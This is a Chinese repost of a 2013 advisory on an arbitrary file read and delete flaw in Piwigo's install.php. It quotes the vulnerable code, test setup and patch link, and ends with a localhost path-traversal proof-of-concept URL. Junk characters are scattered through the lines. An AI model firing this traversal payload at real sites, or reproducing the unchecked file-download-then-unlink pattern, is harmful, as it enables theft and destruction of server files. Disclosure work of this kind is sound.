Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

6 A( i. [. q3 fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
$ K( w- b. i/ M8 j/ J5 {, G% o9 c====================================================================
/install.php:
6 b  B# n# G$ y7 S+ t2 L6 M2 x-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" V0 d, I; W5 D/ B4 B: I114: {
5 i7 g- w" X, J- _+ m115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
( I" J. a1 N; O; o7 B7 Z8 V! m117:   header('Pragma: no-cache');
6 y  s) a8 f) \( O& Y2 U3 O118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
1 ?2 I3 h! w+ c. e. c  |8 Z3 z120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
5 S/ L3 l( B, u122:   unlink($filename);
123:   exit();
124: }
====================================================================

# w7 t( O$ X: _' _# P) ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
( P' Z9 M; K7 j0 ]1 y( {$ }           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

9 K% N# B# n2 _* @' ZVulnerability discovered by Gjoko 'LiquidWorm' Krstic
- y0 X  G9 i$ r% h$ {5 c                            @zeroscience

/ f; T# Y5 J% u4 D% U. IAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
; X* F2 U4 W) \
; R  y8 d+ K/ V8 O2 ]6 ~15.02.2013
; u7 h2 ^" t/ Q4 g
$ ~( F- y9 z% S0 a3 B, E--
2 q/ M4 r" t) q) [. ]3 ^http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
: L; E' @1 R5 o9 o' W/ h
, A9 l$ c. y6 X